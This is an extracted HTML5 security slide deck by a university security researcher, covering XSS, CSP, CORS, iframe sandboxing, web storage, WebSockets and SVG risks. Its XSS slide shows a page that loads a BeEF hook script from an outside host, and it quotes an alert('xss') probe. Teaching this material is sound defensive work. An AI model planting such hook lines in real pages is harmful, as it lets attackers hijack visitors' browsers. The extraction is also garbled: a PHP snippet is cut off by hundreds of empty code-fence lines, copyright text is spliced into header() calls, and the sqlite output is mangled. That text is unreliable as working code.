HTML 5 Security
About Me

• Security researcher and engineer
• Work at University of Pennsylvania
• OWASP Philadelphia chapter leader
• Working on my first book
• Professor at Drexel University
• Recovering web application developer ;)

Copyright Justin C. Klein Keane @madirish2600
TLDR

• HTM5 will be the source of much:
  – Lamentation
  – Rejoicing
• For:
  – Developers
  – Attackers
  – Defenders
About HTML 5

- New HTML standard
  - Like JavaScript, dependent on browser implementation
  - Browser support varies
  - Remarkably, mobile tends to have more support
- Designed to address persistent headaches of web developers (and get rid of plugins!)
- Makes web apps much closer to native apps
- At core: `<!DOCTYPE html><html> </html>`
- Spec available at www.w3.org
Take Note

“Some features of HTML trade user convenience for a measure of user privacy.”

“When HTML is used to create interactive sites, care needs to be taken to avoid introducing vulnerabilities through which attackers can compromise the integrity of the site itself or of the site's users.”

How HTML 5 Works

• Adding new HTML tags:
  – `<canvas>`, `<article>`, etc.

• Add new DOM functions:
  – `document.register('new-tag');`
    • There go your tag specific XSS filters…

• Add new DOM elements
  – `window['localStorage']`;
  – `navigator.geolocation.getCurrentPosition()`;

Copyright Justin C. Klein Keane @madirish2600
Popular Features
(That I won't really discuss)

• Canvas element for dynamic drawing
• Video and audio tags for embedding multimedia without plugins
• Content specific tags
• New form controls (calendar pop-ups, time data types, e-mail validation, etc.)
• Native client side form validation
• New history API
• Drag and drop
Banana Bread

By azakai on Aug 14, 2012

3D first person shooter game compiled to JS+WebGL

Built using JavaScript, HTML5, Web Workers, Audio, WebGL

Copyright Justin C. Klein Keane @madirish2600
Cross Site Scripting (XSS)

- A bit about XSS since HTML 5 has a big impact
- XSS is "arbitrary script injection"
  - Display arbitrary elements, export arbitrary data including Cookies, or perform arbitrary manipulation of DOM
- HTML 5 both helps and hurts XSS
Reflected XSS
Stored XSS
BeEF Makes it Easy

Copyright Justin C. Klein Keane @madfish2600
<html>
<head>
  <title>XSS Test Page</title>
</head>
<body>
  <script src="http://10.10.0.102:3000/hook.js"></script>
  Hello world!
</body>
</html>
New Security Model

- Old Same Origin Policy is relaxed
- New policy is Cross Origin Resource Sharing (CORS)
  - redefines XSS attack surface
- Assumption: same origin == trust
- In HTML 5 origin policy is more nuanced
Content Security Policy

- Content Security Policy (CSP) defined in headers
- Specify the source of trusted content
  - Content, font, frame, img, media, object, style
  - (http|https), none, self, unsafe-inline, unsafe-eval
- Inline code is considered unsafe!
- All CSS, JavaScript must be external (.js files)
- No more injected XSS!!!
  - None of your existing apps will work :(

Copyright Justin C. Klein Keane @madirish2600
<?php
header("Content-Security-Policy: default-src 'self'" AUTHOR="Justin C. Klein Keane @madirish2600"
);
header("X-Content-Security-Policy: default-src 'self'" AUTHOR="Justin C. Klein Keane @madirish2600");
?>
<!DOCTYPE HTML
<html>
<head>
  <title>HTML 5 Search Results</title>
<body>
  <h1>Search Results</h1>
  <p>Your search for: &lt;script&gt;alert('xss');&lt;/script&gt; returned &lt;em&gt;0&lt;/em&gt; results.</p>
</body>
</html>
Search Results

Your search for: returned 0 results.


⚠️ CSP WARN: Directive inline script base restriction violated
   alert('xss');

   test.php (line 8)
CSP Reporting

- CSP can specify reporting
- Allows browsers to report back to a specific server URI when something is blocked
- Protect - **Detect** – React
- Can be set to report only for debugging
```php
<?php
// report.php
$file = fopen('csp-report.txt', 'a');
$json = file_get_contents('php://input');
$csp = json_decode($json, true);
foreach ($csp['csp-report'] as $key => $val) {
    fwrite($file, $key . ': ' . $val . "
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
referrer:
blocked-uri: self
violated-directive: inline script base restriction
source-file: http://10.0.0.99/search-results.php
script-sample: alert('xss');
line-number: 8
End of report.
New iFrame Security

- Sandbox attribute
  - Effectively isolates origin
  - Prevents loading of plugins
  - Can prevent JavaScript
  - Can force a unique origin (even same origin fails)
  - Can block form submission
  - And more...

- Whitelist selectively allows functionality:
  - `<iframe src="blah" sandbox="allow-forms allow-popups allow-scripts"></iframe>`
Web Storage

- Web storage
  - NoSQL key-value store, much like cookies
  - Simple and easy to use
  - Set and called via Javascript with `localStorage` or `sessionStorage`
  - Session storage persists merely for the local session (no persistence)
  - “A mostly arbitrary limit of five megabytes per origin is suggested.”
Cool Uses

- Storing form state (no more Back button returning to a blank form)
- Replace cookies
- Store serialized JSON objects and other complex structures
- Persist data solely on the client!
```
<DOCTYPE html>
<html>
<head>
<script type="text/javascript">
    if (localStorage["name"] !== undefined) {
        alert("Hello " + localStorage["name"]);
    }
    function setName(name) {
        localStorage["name"] = name;
    }
</script>
</head>
<body>
<form>
    <input type="text" name="name"/>
    <input type="button" onClick="setName(document.forms[0].elements["name"].value)" value="Set Name">
</form>
</body>
</html>
```
### Where Did It Go?

```bash
$ pwd
/Users/justin/Library/Application Support/Firefox/Profiles/677kpxf0.default
$ sqlite3 webappsstore.sqlite
SQLite version 3.7.13 2012-07-17 17:46:21
Enter "help" for instructions
Enter SQL statements terminated with a ";
sqlite> .tables
webappsstore2
sqlite> pragma table_info(webappsstore2);
---|---|---|---
<table>
<thead>
<tr>
<th>cid</th>
<th>name</th>
<th>type</th>
<th>notnull</th>
</tr>
</thead>
<tbody>
<tr>
<td>pk</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>0</td>
<td>scope</td>
<td>TEXT</td>
<td>0</td>
</tr>
<tr>
<td>0</td>
<td>key</td>
<td>TEXT</td>
<td>0</td>
</tr>
<tr>
<td>1</td>
<td>value</td>
<td>TEXT</td>
<td>0</td>
</tr>
<tr>
<td>0</td>
<td>secure</td>
<td>INTEGER</td>
<td>0</td>
</tr>
<tr>
<td>3</td>
<td>owner</td>
<td>TEXT</td>
<td>0</td>
</tr>
</tbody>
</table>
sqlite> select * from webappsstore2 where value = 'Justin';
clamp| key | value | secure | owner
-----|-----|-------|--------|-------
/potkseD/nitsuj/sresU/..:file| name  | Justin|
```

Copyright Justin C. Klein Keane @madirish2600
Security: LocalStorage

- SQL injection moves to the client!
- Persistent XSS moves to the client
- Offline stores may become a target of malware
- New sources, and volumes, of forensic evidence
- Cross directory attacks
  - “Different authors sharing one host name, for example users hosting content on geocities.com, all share one local storage object. There is no feature to restrict the access by pathname. Authors on shared hosts are therefore urged to avoid using these features, as it would be trivial for other authors to read the data and overwrite it.”
- DNS spoofing could expose data store
- http://dev.w3.org/html5/webstorage/#security-storage

Copyright Justin C. Klein Keane @madirish2600
File Storage

- Chrome supports w3c FileSystem API
- Mozilla supporting DeviceStorage API
- Both essentially address the same need
- Still very much developing
Filesystem API

- Allows applications access to local filesystem
- Useful for large files
  - Uploads, downloads, and usage
Filesystem Security

• Creates all sorts of new security challenges:
  - Target of malware for theft
  - Denial of service
  - Theft or erasure of private data (client side malware)
  - Storing malicious executables client side
  - Storing dangerous or illegal files on a filesystem surreptitiously
Web Sockets

- Answer to AJAX
- Allows for synchronous connections between the client and a remote server
- Origin policies apply
  - connect-src in CSP
- ws:// and wss:// protocol identifiers
- Uses port 80/443 by default
- Valid http upgrades to web socket

```javascript
var host = 'ws://url.tld/ref
var conn = new WebSocket(host);
conn.onopen = function () {}
conn.onmessage = function() {}
```
Security Implications of Web Sockets

- No native authentication
- New DoS surface
- Custom socket code could contain vulnerabilities including overflows
- Could make for interesting C&C and data exfiltration route
- No implicit security/validation
- Like AJAX it provides a new “hidden” attack surface that is difficult to audit
Vector Graphics

- Allows for dynamic image generation in HTML
- Great for scaling and responsive design
- Eliminates much of the need for embedded graphics
SVG Security Issues

- Graphics defined in HTML
  - This leads to interesting new XSS attacks
  - Clickjacking just got easier
- Potential for new client DoS or crash
New Complexities

- Complexity brings new security challenges
- Developers eager to implement features may not understand security challenges
- Testers may not be familiar with new features, or security risks
- Totally new security model at the browser level
- Replacing third-party plugins may bring win
Other Security Issues

- New dynamic attributes create new DOM based XSS attacks
  - `formaction`, `oninput`, `onerror`, `onforminput`, `onformchange`, etc.
- Older security libraries may not recognize new security threats
- Greater capability and communications may make the browser a target for malware
- Fun new `geolocation.getCurrentPosition()`
- Use `getUserMedia()` to capture audio/video!
Thanks!

Questions?